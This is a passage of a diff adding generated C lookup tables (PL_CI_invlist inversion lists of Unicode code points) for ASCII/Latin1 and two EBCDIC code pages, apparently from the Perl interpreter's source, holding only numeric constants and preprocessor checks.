+	0xE3B,
+	0xE46,
+	0xE4F,
+	0xEB1,
+	0xEB2,
+	0xEB4,
+	0xEBA,
+	0xEBB,
+	0xEBD,
+	0xEC6,
+	0xEC7,
+	0xEC8,
+	0xECE,
+	0xF18,
+	0xF1A,
+	0xF35,
+	0xF36,
+	0xF37,
+	0xF38,
+	0xF39,
+	0xF3A,
+	0xF71,
+	0xF7F,
+	0xF80,
+	0xF85,
+	0xF86,
+	0xF88,
+	0xF8D,
+	0xF98,
+	0xF99,
+	0xFBD,
+	0xFC6,
+	0xFC7,
+	0x102D,
+	0x1031,
+	0x1032,
+	0x1038,
+	0x1039,
+	0x103B,
+	0x103D,
+	0x103F,
+	0x1058,
+	0x105A,
+	0x105E,
+	0x1061,
+	0x1071,
+	0x1075,
+	0x1082,
+	0x1083,
+	0x1085,
+	0x1087,
+	0x108D,
+	0x108E,
+	0x109D,
+	0x109E,
+	0x10FC,
+	0x10FD,
+	0x135D,
+	0x1360,
+	0x1712,
+	0x1715,
+	0x1732,
+	0x1735,
+	0x1752,
+	0x1754,
+	0x1772,
+	0x1774,
+	0x17B4,
+	0x17B6,
+	0x17B7,
+	0x17BE,
+	0x17C6,
+	0x17C7,
+	0x17C9,
+	0x17D4,
+	0x17D7,
+	0x17D8,
+	0x17DD,
+	0x17DE,
+	0x180B,
+	0x180F,
+	0x1843,
+	0x1844,
+	0x1885,
+	0x1887,
+	0x18A9,
+	0x18AA,
+	0x1920,
+	0x1923,
+	0x1927,
+	0x1929,
+	0x1932,
+	0x1933,
+	0x1939,
+	0x193C,
+	0x1A17,
+	0x1A19,
+	0x1A1B,
+	0x1A1C,
+	0x1A56,
+	0x1A57,
+	0x1A58,
+	0x1A5F,
+	0x1A60,
+	0x1A61,
+	0x1A62,
+	0x1A63,
+	0x1A65,
+	0x1A6D,
+	0x1A73,
+	0x1A7D,
+	0x1A7F,
+	0x1A80,
+	0x1AA7,
+	0x1AA8,
+	0x1AB0,
+	0x1ABF,
+	0x1B00,
+	0x1B04,
+	0x1B34,
+	0x1B35,
+	0x1B36,
+	0x1B3B,
+	0x1B3C,
+	0x1B3D,
+	0x1B42,
+	0x1B43,
+	0x1B6B,
+	0x1B74,
+	0x1B80,
+	0x1B82,
+	0x1BA2,
+	0x1BA6,
+	0x1BA8,
+	0x1BAA,
+	0x1BAB,
+	0x1BAE,
+	0x1BE6,
+	0x1BE7,
+	0x1BE8,
+	0x1BEA,
+	0x1BED,
+	0x1BEE,
+	0x1BEF,
+	0x1BF2,
+	0x1C2C,
+	0x1C34,
+	0x1C36,
+	0x1C38,
+	0x1C78,
+	0x1C7E,
+	0x1CD0,
+	0x1CD3,
+	0x1CD4,
+	0x1CE1,
+	0x1CE2,
+	0x1CE9,
+	0x1CED,
+	0x1CEE,
+	0x1CF4,
+	0x1CF5,
+	0x1CF8,
+	0x1CFA,
+	0x1D2C,
+	0x1D6B,
+	0x1D78,
+	0x1D79,
+	0x1D9B,
+	0x1DFA,
+	0x1DFB,
+	0x1E00,
+	0x1FBD,
+	0x1FBE,
+	0x1FBF,
+	0x1FC2,
+	0x1FCD,
+	0x1FD0,
+	0x1FDD,
+	0x1FE0,
+	0x1FED,
+	0x1FF0,
+	0x1FFD,
+	0x1FFF,
+	0x200B,
+	0x2010,
+	0x2018,
+	0x201A,
+	0x2024,
+	0x2025,
+	0x2027,
 	0x2028,
 	0x202A,
 	0x202F,
-	0x2030,
-	0x205F,
 	0x2060,
 	0x2065,
 	0x2066,
+	0x2070,
+	0x2071,
 	0x2072,
+	0x207F,
+	0x2080,
+	0x2090,
+	0x209D,
+	0x20D0,
+	0x20F1,
+	0x2C7C,
+	0x2C7E,
+	0x2CEF,
+	0x2CF2,
+	0x2D6F,
+	0x2D70,
+	0x2D7F,
+	0x2D80,
+	0x2DE0,
+	0x2E00,
+	0x2E2F,
+	0x2E30,
+	0x3005,
+	0x3006,
+	0x302A,
+	0x302E,
+	0x3031,
+	0x3036,
+	0x303B,
+	0x303C,
+	0x3099,
+	0x309F,
+	0x30FC,
+	0x30FF,
+	0xA015,
+	0xA016,
+	0xA4F8,
+	0xA4FE,
+	0xA60C,
+	0xA60D,
+	0xA66F,
+	0xA673,
+	0xA674,
+	0xA67E,
+	0xA67F,
+	0xA680,
+	0xA69C,
+	0xA6A0,
+	0xA6F0,
+	0xA6F2,
+	0xA700,
+	0xA722,
+	0xA770,
+	0xA771,
+	0xA788,
+	0xA78B,
+	0xA7F8,
+	0xA7FA,
+	0xA802,
+	0xA803,
+	0xA806,
+	0xA807,
+	0xA80B,
+	0xA80C,
+	0xA825,
+	0xA827,
+	0xA8C4,
+	0xA8C6,
+	0xA8E0,
+	0xA8F2,
+	0xA926,
+	0xA92E,
+	0xA947,
+	0xA952,
+	0xA980,
+	0xA983,
+	0xA9B3,
+	0xA9B4,
+	0xA9B6,
+	0xA9BA,
+	0xA9BC,
+	0xA9BD,
+	0xA9CF,
+	0xA9D0,
+	0xA9E5,
+	0xA9E7,
+	0xAA29,
+	0xAA2F,
+	0xAA31,
+	0xAA33,
+	0xAA35,
+	0xAA37,
+	0xAA43,
+	0xAA44,
+	0xAA4C,
+	0xAA4D,
+	0xAA70,
+	0xAA71,
+	0xAA7C,
+	0xAA7D,
+	0xAAB0,
+	0xAAB1,
+	0xAAB2,
+	0xAAB5,
+	0xAAB7,
+	0xAAB9,
+	0xAABE,
+	0xAAC0,
+	0xAAC1,
+	0xAAC2,
+	0xAADD,
+	0xAADE,
+	0xAAEC,
+	0xAAEE,
+	0xAAF3,
+	0xAAF5,
+	0xAAF6,
+	0xAAF7,
+	0xAB5B,
+	0xAB60,
+	0xABE5,
+	0xABE6,
+	0xABE8,
+	0xABE9,
+	0xABED,
+	0xABEE,
+	0xFB1E,
+	0xFB1F,
+	0xFBB2,
+	0xFBC2,
+	0xFE00,
+	0xFE10,
+	0xFE13,
+	0xFE14,
+	0xFE20,
+	0xFE30,
+	0xFE52,
+	0xFE53,
+	0xFE55,
+	0xFE56,
+	0xFEFF,
+	0xFF00,
+	0xFF07,
+	0xFF08,
+	0xFF0E,
+	0xFF0F,
+	0xFF1A,
+	0xFF1B,
+	0xFF3E,
+	0xFF3F,
+	0xFF40,
+	0xFF41,
+	0xFF70,
+	0xFF71,
+	0xFF9E,
+	0xFFA0,
+	0xFFE3,
+	0xFFE4,
+	0xFFF9,
+	0xFFFC,
+	0x101FD,
+	0x101FE,
+	0x102E0,
+	0x102E1,
+	0x10376,
+	0x1037B,
+	0x10A01,
+	0x10A04,
+	0x10A05,
+	0x10A07,
+	0x10A0C,
+	0x10A10,
+	0x10A38,
+	0x10A3B,
+	0x10A3F,
+	0x10A40,
+	0x10AE5,
+	0x10AE7,
+	0x11001,
+	0x11002,
+	0x11038,
+	0x11047,
+	0x1107F,
+	0x11082,
+	0x110B3,
+	0x110B7,
+	0x110B9,
+	0x110BB,
+	0x110BD,
+	0x110BE,
+	0x11100,
+	0x11103,
+	0x11127,
+	0x1112C,
+	0x1112D,
+	0x11135,
+	0x11173,
+	0x11174,
+	0x11180,
+	0x11182,
+	0x111B6,
+	0x111BF,
+	0x111CA,
+	0x111CD,
+	0x1122F,
+	0x11232,
+	0x11234,
+	0x11235,
+	0x11236,
+	0x11238,
+	0x1123E,
+	0x1123F,
+	0x112DF,
+	0x112E0,
+	0x112E3,
+	0x112EB,
+	0x11300,
+	0x11302,
+	0x1133C,
+	0x1133D,
+	0x11340,
+	0x11341,
+	0x11366,
+	0x1136D,
+	0x11370,
+	0x11375,
+	0x11438,
+	0x11440,
+	0x11442,
+	0x11445,
+	0x11446,
+	0x11447,
+	0x114B3,
+	0x114B9,
+	0x114BA,
+	0x114BB,
+	0x114BF,
+	0x114C1,
+	0x114C2,
+	0x114C4,
+	0x115B2,
+	0x115B6,
+	0x115BC,
+	0x115BE,
+	0x115BF,
+	0x115C1,
+	0x115DC,
+	0x115DE,
+	0x11633,
+	0x1163B,
+	0x1163D,
+	0x1163E,
+	0x1163F,
+	0x11641,
+	0x116AB,
+	0x116AC,
+	0x116AD,
+	0x116AE,
+	0x116B0,
+	0x116B6,
+	0x116B7,
+	0x116B8,
+	0x1171D,
+	0x11720,
+	0x11722,
+	0x11726,
+	0x11727,
+	0x1172C,
+	0x11A01,
+	0x11A07,
+	0x11A09,
+	0x11A0B,
+	0x11A33,
+	0x11A39,
+	0x11A3B,
+	0x11A3F,
+	0x11A47,
+	0x11A48,
+	0x11A51,
+	0x11A57,
+	0x11A59,
+	0x11A5C,
+	0x11A8A,
+	0x11A97,
+	0x11A98,
+	0x11A9A,
+	0x11C30,
+	0x11C37,
+	0x11C38,
+	0x11C3E,
+	0x11C3F,
+	0x11C40,
+	0x11C92,
+	0x11CA8,
+	0x11CAA,
+	0x11CB1,
+	0x11CB2,
+	0x11CB4,
+	0x11CB5,
+	0x11CB7,
+	0x11D31,
+	0x11D37,
+	0x11D3A,
+	0x11D3B,
+	0x11D3C,
+	0x11D3E,
+	0x11D3F,
+	0x11D46,
+	0x11D47,
+	0x11D48,
+	0x16AF0,
+	0x16AF5,
+	0x16B30,
+	0x16B37,
+	0x16B40,
+	0x16B44,
+	0x16F8F,
+	0x16FA0,
+	0x16FE0,
+	0x16FE2,
+	0x1BC9D,
+	0x1BC9F,
+	0x1BCA0,
+	0x1BCA4,
+	0x1D167,
+	0x1D16A,
+	0x1D173,
+	0x1D183,
+	0x1D185,
+	0x1D18C,
+	0x1D1AA,
+	0x1D1AE,
+	0x1D242,
+	0x1D245,
+	0x1DA00,
+	0x1DA37,
+	0x1DA3B,
+	0x1DA6D,
+	0x1DA75,
+	0x1DA76,
+	0x1DA84,
+	0x1DA85,
+	0x1DA9B,
+	0x1DAA0,
+	0x1DAA1,
+	0x1DAB0,
+	0x1E000,
+	0x1E007,
+	0x1E008,
+	0x1E019,
+	0x1E01B,
+	0x1E022,
+	0x1E023,
+	0x1E025,
+	0x1E026,
+	0x1E02B,
+	0x1E8D0,
+	0x1E8D7,
+	0x1E944,
+	0x1E94B,
+	0x1F3FB,
+	0x1F400,
+	0xE0001,
+	0xE0002,
+	0xE0020,
+	0xE0080,
+	0xE0100,
+	0xE01F0
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_CI_invlist[] = { /* for EBCDIC 1047 */
+	761,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x4B,
+	0x4C,
+	0x5F,
+	0x60,
+	0x79,
+	0x7B,
+	0x7D,
+	0x7E,
+	0x9D,
+	0x9E,
+	0xB3,
+	0xB4,
+	0xBB,
+	0xBD,
+	0xBE,
+	0xBF,
+	0xCA,
+	0xCB,
+	0x2B0,
+	0x370,
+	0x374,
+	0x376,
+	0x37A,
+	0x37B,
+	0x384,
+	0x386,
+	0x387,
+	0x388,
+	0x483,
+	0x48A,
+	0x559,
+	0x55A,
+	0x591,
+	0x5BE,
+	0x5BF,
+	0x5C0,
+	0x5C1,
+	0x5C3,
+	0x5C4,
+	0x5C6,
+	0x5C7,
+	0x5C8,
+	0x5F4,
+	0x5F5,
+	0x600,
+	0x606,
+	0x610,
+	0x61B,
+	0x61C,
+	0x61D,
+	0x640,
+	0x641,
+	0x64B,
+	0x660,
+	0x670,
+	0x671,
+	0x6D6,
+	0x6DE,
+	0x6DF,
+	0x6E9,
+	0x6EA,
+	0x6EE,
+	0x70F,
+	0x710,
+	0x711,
+	0x712,
+	0x730,
+	0x74B,
+	0x7A6,
+	0x7B1,
+	0x7EB,
+	0x7F6,
+	0x7FA,
+	0x7FB,
+	0x816,
+	0x82E,
+	0x859,
+	0x85C,
+	0x8D4,
+	0x903,
+	0x93A,
+	0x93B,
+	0x93C,
+	0x93D,
+	0x941,
+	0x949,
+	0x94D,
+	0x94E,
+	0x951,
+	0x958,
+	0x962,
+	0x964,
+	0x971,
+	0x972,
+	0x981,
+	0x982,
+	0x9BC,
+	0x9BD,
+	0x9C1,
+	0x9C5,
+	0x9CD,
+	0x9CE,
+	0x9E2,
+	0x9E4,
+	0xA01,
+	0xA03,
+	0xA3C,
+	0xA3D,
+	0xA41,
+	0xA43,
+	0xA47,
+	0xA49,
+	0xA4B,
+	0xA4E,
+	0xA51,
+	0xA52,
+	0xA70,
+	0xA72,
+	0xA75,
+	0xA76,
+	0xA81,
+	0xA83,
+	0xABC,
+	0xABD,
+	0xAC1,
+	0xAC6,
+	0xAC7,
+	0xAC9,
+	0xACD,
+	0xACE,
+	0xAE2,
+	0xAE4,
+	0xAFA,
+	0xB00,
+	0xB01,
+	0xB02,
+	0xB3C,
+	0xB3D,
+	0xB3F,
+	0xB40,
+	0xB41,
+	0xB45,
+	0xB4D,
+	0xB4E,
+	0xB56,
+	0xB57,
+	0xB62,
+	0xB64,
+	0xB82,
+	0xB83,
+	0xBC0,
+	0xBC1,
+	0xBCD,
+	0xBCE,
+	0xC00,
+	0xC01,
+	0xC3E,
+	0xC41,
+	0xC46,
+	0xC49,
+	0xC4A,
+	0xC4E,
+	0xC55,
+	0xC57,
+	0xC62,
+	0xC64,
+	0xC81,
+	0xC82,
+	0xCBC,
+	0xCBD,
+	0xCBF,
+	0xCC0,
+	0xCC6,
+	0xCC7,
+	0xCCC,
+	0xCCE,
+	0xCE2,
+	0xCE4,
+	0xD00,
+	0xD02,
+	0xD3B,
+	0xD3D,
+	0xD41,
+	0xD45,
+	0xD4D,
+	0xD4E,
+	0xD62,
+	0xD64,
+	0xDCA,
+	0xDCB,
+	0xDD2,
+	0xDD5,
+	0xDD6,
+	0xDD7,
+	0xE31,
+	0xE32,
+	0xE34,
+	0xE3B,
+	0xE46,
+	0xE4F,
+	0xEB1,
+	0xEB2,
+	0xEB4,
+	0xEBA,
+	0xEBB,
+	0xEBD,
+	0xEC6,
+	0xEC7,
+	0xEC8,
+	0xECE,
+	0xF18,
+	0xF1A,
+	0xF35,
+	0xF36,
+	0xF37,
+	0xF38,
+	0xF39,
+	0xF3A,
+	0xF71,
+	0xF7F,
+	0xF80,
+	0xF85,
+	0xF86,
+	0xF88,
+	0xF8D,
+	0xF98,
+	0xF99,
+	0xFBD,
+	0xFC6,
+	0xFC7,
+	0x102D,
+	0x1031,
+	0x1032,
+	0x1038,
+	0x1039,
+	0x103B,
+	0x103D,
+	0x103F,
+	0x1058,
+	0x105A,
+	0x105E,
+	0x1061,
+	0x1071,
+	0x1075,
+	0x1082,
+	0x1083,
+	0x1085,
+	0x1087,
+	0x108D,
+	0x108E,
+	0x109D,
+	0x109E,
+	0x10FC,
+	0x10FD,
+	0x135D,
+	0x1360,
+	0x1712,
+	0x1715,
+	0x1732,
+	0x1735,
+	0x1752,
+	0x1754,
+	0x1772,
+	0x1774,
+	0x17B4,
+	0x17B6,
+	0x17B7,
+	0x17BE,
+	0x17C6,
+	0x17C7,
+	0x17C9,
+	0x17D4,
+	0x17D7,
+	0x17D8,
+	0x17DD,
+	0x17DE,
+	0x180B,
+	0x180F,
+	0x1843,
+	0x1844,
+	0x1885,
+	0x1887,
+	0x18A9,
+	0x18AA,
+	0x1920,
+	0x1923,
+	0x1927,
+	0x1929,
+	0x1932,
+	0x1933,
+	0x1939,
+	0x193C,
+	0x1A17,
+	0x1A19,
+	0x1A1B,
+	0x1A1C,
+	0x1A56,
+	0x1A57,
+	0x1A58,
+	0x1A5F,
+	0x1A60,
+	0x1A61,
+	0x1A62,
+	0x1A63,
+	0x1A65,
+	0x1A6D,
+	0x1A73,
+	0x1A7D,
+	0x1A7F,
+	0x1A80,
+	0x1AA7,
+	0x1AA8,
+	0x1AB0,
+	0x1ABF,
+	0x1B00,
+	0x1B04,
+	0x1B34,
+	0x1B35,
+	0x1B36,
+	0x1B3B,
+	0x1B3C,
+	0x1B3D,
+	0x1B42,
+	0x1B43,
+	0x1B6B,
+	0x1B74,
+	0x1B80,
+	0x1B82,
+	0x1BA2,
+	0x1BA6,
+	0x1BA8,
+	0x1BAA,
+	0x1BAB,
+	0x1BAE,
+	0x1BE6,
+	0x1BE7,
+	0x1BE8,
+	0x1BEA,
+	0x1BED,
+	0x1BEE,
+	0x1BEF,
+	0x1BF2,
+	0x1C2C,
+	0x1C34,
+	0x1C36,
+	0x1C38,
+	0x1C78,
+	0x1C7E,
+	0x1CD0,
+	0x1CD3,
+	0x1CD4,
+	0x1CE1,
+	0x1CE2,
+	0x1CE9,
+	0x1CED,
+	0x1CEE,
+	0x1CF4,
+	0x1CF5,
+	0x1CF8,
+	0x1CFA,
+	0x1D2C,
+	0x1D6B,
+	0x1D78,
+	0x1D79,
+	0x1D9B,
+	0x1DFA,
+	0x1DFB,
+	0x1E00,
+	0x1FBD,
+	0x1FBE,
+	0x1FBF,
+	0x1FC2,
+	0x1FCD,
+	0x1FD0,
+	0x1FDD,
+	0x1FE0,
+	0x1FED,
+	0x1FF0,
+	0x1FFD,
+	0x1FFF,
+	0x200B,
+	0x2010,
+	0x2018,
+	0x201A,
+	0x2024,
+	0x2025,
+	0x2027,
+	0x2028,
+	0x202A,
+	0x202F,
+	0x2060,
+	0x2065,
+	0x2066,
+	0x2070,
+	0x2071,
+	0x2072,
+	0x207F,
+	0x2080,
+	0x2090,
+	0x209D,
+	0x20D0,
+	0x20F1,
+	0x2C7C,
+	0x2C7E,
+	0x2CEF,
+	0x2CF2,
+	0x2D6F,
+	0x2D70,
+	0x2D7F,
+	0x2D80,
+	0x2DE0,
+	0x2E00,
+	0x2E2F,
+	0x2E30,
+	0x3005,
+	0x3006,
+	0x302A,
+	0x302E,
+	0x3031,
+	0x3036,
+	0x303B,
+	0x303C,
+	0x3099,
+	0x309F,
+	0x30FC,
+	0x30FF,
+	0xA015,
+	0xA016,
+	0xA4F8,
+	0xA4FE,
+	0xA60C,
+	0xA60D,
+	0xA66F,
+	0xA673,
+	0xA674,
+	0xA67E,
+	0xA67F,
+	0xA680,
+	0xA69C,
+	0xA6A0,
+	0xA6F0,
+	0xA6F2,
+	0xA700,
+	0xA722,
+	0xA770,
+	0xA771,
+	0xA788,
+	0xA78B,
+	0xA7F8,
+	0xA7FA,
+	0xA802,
+	0xA803,
+	0xA806,
+	0xA807,
+	0xA80B,
+	0xA80C,
+	0xA825,
+	0xA827,
+	0xA8C4,
+	0xA8C6,
+	0xA8E0,
+	0xA8F2,
+	0xA926,
+	0xA92E,
+	0xA947,
+	0xA952,
+	0xA980,
+	0xA983,
+	0xA9B3,
+	0xA9B4,
+	0xA9B6,
+	0xA9BA,
+	0xA9BC,
+	0xA9BD,
+	0xA9CF,
+	0xA9D0,
+	0xA9E5,
+	0xA9E7,
+	0xAA29,
+	0xAA2F,
+	0xAA31,
+	0xAA33,
+	0xAA35,
+	0xAA37,
+	0xAA43,
+	0xAA44,
+	0xAA4C,
+	0xAA4D,
+	0xAA70,
+	0xAA71,
+	0xAA7C,
+	0xAA7D,
+	0xAAB0,
+	0xAAB1,
+	0xAAB2,
+	0xAAB5,
+	0xAAB7,
+	0xAAB9,
+	0xAABE,
+	0xAAC0,
+	0xAAC1,
+	0xAAC2,
+	0xAADD,
+	0xAADE,
+	0xAAEC,
+	0xAAEE,
+	0xAAF3,
+	0xAAF5,
+	0xAAF6,
+	0xAAF7,
+	0xAB5B,
+	0xAB60,
+	0xABE5,
+	0xABE6,
+	0xABE8,
+	0xABE9,
+	0xABED,
+	0xABEE,
+	0xFB1E,
+	0xFB1F,
+	0xFBB2,
+	0xFBC2,
+	0xFE00,
+	0xFE10,
+	0xFE13,
+	0xFE14,
+	0xFE20,
+	0xFE30,
+	0xFE52,
+	0xFE53,
+	0xFE55,
+	0xFE56,
+	0xFEFF,
+	0xFF00,
+	0xFF07,
+	0xFF08,
+	0xFF0E,
+	0xFF0F,
+	0xFF1A,
+	0xFF1B,
+	0xFF3E,
+	0xFF3F,
+	0xFF40,
+	0xFF41,
+	0xFF70,
+	0xFF71,
+	0xFF9E,
+	0xFFA0,
+	0xFFE3,
+	0xFFE4,
+	0xFFF9,
+	0xFFFC,
+	0x101FD,
+	0x101FE,
+	0x102E0,
+	0x102E1,
+	0x10376,
+	0x1037B,
+	0x10A01,
+	0x10A04,
+	0x10A05,
+	0x10A07,
+	0x10A0C,
+	0x10A10,
+	0x10A38,
+	0x10A3B,
+	0x10A3F,
+	0x10A40,
+	0x10AE5,
+	0x10AE7,
+	0x11001,
+	0x11002,
+	0x11038,
+	0x11047,
+	0x1107F,
+	0x11082,
+	0x110B3,
+	0x110B7,
+	0x110B9,
+	0x110BB,
+	0x110BD,
+	0x110BE,
+	0x11100,
+	0x11103,
+	0x11127,
+	0x1112C,
+	0x1112D,
+	0x11135,
+	0x11173,
+	0x11174,
+	0x11180,
+	0x11182,
+	0x111B6,
+	0x111BF,
+	0x111CA,
+	0x111CD,
+	0x1122F,
+	0x11232,
+	0x11234,
+	0x11235,
+	0x11236,
+	0x11238,
+	0x1123E,
+	0x1123F,
+	0x112DF,
+	0x112E0,
+	0x112E3,
+	0x112EB,
+	0x11300,
+	0x11302,
+	0x1133C,
+	0x1133D,
+	0x11340,
+	0x11341,
+	0x11366,
+	0x1136D,
+	0x11370,
+	0x11375,
+	0x11438,
+	0x11440,
+	0x11442,
+	0x11445,
+	0x11446,
+	0x11447,
+	0x114B3,
+	0x114B9,
+	0x114BA,
+	0x114BB,
+	0x114BF,
+	0x114C1,
+	0x114C2,
+	0x114C4,
+	0x115B2,
+	0x115B6,
+	0x115BC,
+	0x115BE,
+	0x115BF,
+	0x115C1,
+	0x115DC,
+	0x115DE,
+	0x11633,
+	0x1163B,
+	0x1163D,
+	0x1163E,
+	0x1163F,
+	0x11641,
+	0x116AB,
+	0x116AC,
+	0x116AD,
+	0x116AE,
+	0x116B0,
+	0x116B6,
+	0x116B7,
+	0x116B8,
+	0x1171D,
+	0x11720,
+	0x11722,
+	0x11726,
+	0x11727,
+	0x1172C,
+	0x11A01,
+	0x11A07,
+	0x11A09,
+	0x11A0B,
+	0x11A33,
+	0x11A39,
+	0x11A3B,
+	0x11A3F,
+	0x11A47,
+	0x11A48,
+	0x11A51,
+	0x11A57,
+	0x11A59,
+	0x11A5C,
+	0x11A8A,
+	0x11A97,
+	0x11A98,
+	0x11A9A,
+	0x11C30,
+	0x11C37,
+	0x11C38,
+	0x11C3E,
+	0x11C3F,
+	0x11C40,
+	0x11C92,
+	0x11CA8,
+	0x11CAA,
+	0x11CB1,
+	0x11CB2,
+	0x11CB4,
+	0x11CB5,
+	0x11CB7,
+	0x11D31,
+	0x11D37,
+	0x11D3A,
+	0x11D3B,
+	0x11D3C,
+	0x11D3E,
+	0x11D3F,
+	0x11D46,
+	0x11D47,
+	0x11D48,
+	0x16AF0,
+	0x16AF5,
+	0x16B30,
+	0x16B37,
+	0x16B40,
+	0x16B44,
+	0x16F8F,
+	0x16FA0,
+	0x16FE0,
+	0x16FE2,
+	0x1BC9D,
+	0x1BC9F,
+	0x1BCA0,
+	0x1BCA4,
+	0x1D167,
+	0x1D16A,
+	0x1D173,
+	0x1D183,
+	0x1D185,
+	0x1D18C,
+	0x1D1AA,
+	0x1D1AE,
+	0x1D242,
+	0x1D245,
+	0x1DA00,
+	0x1DA37,
+	0x1DA3B,
+	0x1DA6D,
+	0x1DA75,
+	0x1DA76,
+	0x1DA84,
+	0x1DA85,
+	0x1DA9B,
+	0x1DAA0,
+	0x1DAA1,
+	0x1DAB0,
+	0x1E000,
+	0x1E007,
+	0x1E008,
+	0x1E019,
+	0x1E01B,
+	0x1E022,
+	0x1E023,
+	0x1E025,
+	0x1E026,
+	0x1E02B,
+	0x1E8D0,
+	0x1E8D7,
+	0x1E944,
+	0x1E94B,
+	0x1F3FB,
+	0x1F400,
+	0xE0001,
+	0xE0002,
+	0xE0020,
+	0xE0080,
+	0xE0100,
+	0xE01F0
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_CI_invlist[] = { /* for EBCDIC 037 */
+	759,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x4B,
+	0x4C,
+	0x79,
+	0x7B,
+	0x7D,
+	0x7E,
+	0x9D,
+	0x9E,
+	0xB0,
+	0xB1,
+	0xB3,
+	0xB4,
+	0xBC,
+	0xBF,
+	0xCA,
+	0xCB,
+	0x2B0,
+	0x370,
+	0x374,
+	0x376,
+	0x37A,
+	0x37B,
+	0x384,
+	0x386,
+	0x387,
+	0x388,
+	0x483,
+	0x48A,
+	0x559,
+	0x55A,
+	0x591,
+	0x5BE,
+	0x5BF,
+	0x5C0,
+	0x5C1,
+	0x5C3,
+	0x5C4,
+	0x5C6,
+	0x5C7,
+	0x5C8,
+	0x5F4,
+	0x5F5,
+	0x600,
+	0x606,
+	0x610,
+	0x61B,
+	0x61C,
+	0x61D,
+	0x640,
+	0x641,
+	0x64B,
+	0x660,
+	0x670,
+	0x671,
+	0x6D6,
+	0x6DE,
+	0x6DF,
+	0x6E9,
+	0x6EA,
+	0x6EE,
+	0x70F,
+	0x710,
+	0x711,
+	0x712,
+	0x730,
+	0x74B,
+	0x7A6,
+	0x7B1,
+	0x7EB,
+	0x7F6,
+	0x7FA,
+	0x7FB,
+	0x816,
+	0x82E,
+	0x859,
+	0x85C,
+	0x8D4,
+	0x903,
+	0x93A,
+	0x93B,
+	0x93C,
+	0x93D,
+	0x941,
+	0x949,
+	0x94D,
+	0x94E,
+	0x951,
+	0x958,
+	0x962,
+	0x964,
+	0x971,
+	0x972,
+	0x981,
+	0x982,
+	0x9BC,
+	0x9BD,
+	0x9C1,
+	0x9C5,
+	0x9CD,
+	0x9CE,
+	0x9E2,
+	0x9E4,
+	0xA01,
+	0xA03,
+	0xA3C,
+	0xA3D,
+	0xA41,
+	0xA43,
+	0xA47,
+	0xA49,
+	0xA4B,
+	0xA4E,
+	0xA51,
+	0xA52,
+	0xA70,
+	0xA72,
+	0xA75,
+	0xA76,
+	0xA81,
+	0xA83,
+	0xABC,
+	0xABD,
+	0xAC1,
+	0xAC6,
+	0xAC7,
+	0xAC9,
+	0xACD,
+	0xACE,
+	0xAE2,
+	0xAE4,
+	0xAFA,
+	0xB00,
+	0xB01,
+	0xB02,
+	0xB3C,
+	0xB3D,
+	0xB3F,
+	0xB40,
+	0xB41,
+	0xB45,
+	0xB4D,
+	0xB4E,
+	0xB56,
+	0xB57,
+	0xB62,
+	0xB64,
+	0xB82,
+	0xB83,
+	0xBC0,
+	0xBC1,
+	0xBCD,
+	0xBCE,
+	0xC00,
+	0xC01,
+	0xC3E,
+	0xC41,
+	0xC46,
+	0xC49,
+	0xC4A,
+	0xC4E,
+	0xC55,
+	0xC57,
+	0xC62,
+	0xC64,
+	0xC81,
+	0xC82,
+	0xCBC,
+	0xCBD,
+	0xCBF,
+	0xCC0,
+	0xCC6,
+	0xCC7,
+	0xCCC,
+	0xCCE,
+	0xCE2,
+	0xCE4,
+	0xD00,
+	0xD02,
+	0xD3B,
+	0xD3D,
+	0xD41,
+	0xD45,
+	0xD4D,
+	0xD4E,
+	0xD62,
+	0xD64,
+	0xDCA,
+	0xDCB,
+	0xDD2,
+	0xDD5,
+	0xDD6,
+	0xDD7,
+	0xE31,
+	0xE32,
+	0xE34,
+	0xE3B,
+	0xE46,
+	0xE4F,
+	0xEB1,
+	0xEB2,
+	0xEB4,
+	0xEBA,
+	0xEBB,
+	0xEBD,
+	0xEC6,
+	0xEC7,
+	0xEC8,
+	0xECE,
+	0xF18,
+	0xF1A,
+	0xF35,
+	0xF36,
+	0xF37,
+	0xF38,
+	0xF39,
+	0xF3A,
+	0xF71,
+	0xF7F,
+	0xF80,
+	0xF85,
+	0xF86,
+	0xF88,
+	0xF8D,
+	0xF98,
+	0xF99,
+	0xFBD,
+	0xFC6,
+	0xFC7,
+	0x102D,
+	0x1031,
+	0x1032,
+	0x1038,
+	0x1039,
+	0x103B,
+	0x103D,
+	0x103F,
+	0x1058,
+	0x105A,
+	0x105E,
+	0x1061,
+	0x1071,
+	0x1075,
+	0x1082,
+	0x1083,
+	0x1085,
+	0x1087,
+	0x108D,
+	0x108E,
+	0x109D,
+	0x109E,
+	0x10FC,
+	0x10FD,
+	0x135D,
+	0x1360,
+	0x1712,
+	0x1715,
+	0x1732,
+	0x1735,
+	0x1752,
+	0x1754,
+	0x1772,
+	0x1774,
+	0x17B4,
+	0x17B6,
+	0x17B7,
+	0x17BE,
+	0x17C6,
+	0x17C7,
+	0x17C9,
+	0x17D4,
+	0x17D7,
+	0x17D8,
+	0x17DD,
+	0x17DE,
+	0x180B,
+	0x180F,
+	0x1843,
+	0x1844,
+	0x1885,
+	0x1887,
+	0x18A9,
+	0x18AA,
+	0x1920,
+	0x1923,
+	0x1927,
+	0x1929,
+	0x1932,
+	0x1933,
+	0x1939,
+	0x193C,
+	0x1A17,
+	0x1A19,
+	0x1A1B,
+	0x1A1C,
+	0x1A56,
+	0x1A57,
+	0x1A58,
+	0x1A5F,
+	0x1A60,
+	0x1A61,
+	0x1A62,
+	0x1A63,
+	0x1A65,
+	0x1A6D,
+	0x1A73,
+	0x1A7D,
+	0x1A7F,
+	0x1A80,
+	0x1AA7,
+	0x1AA8,
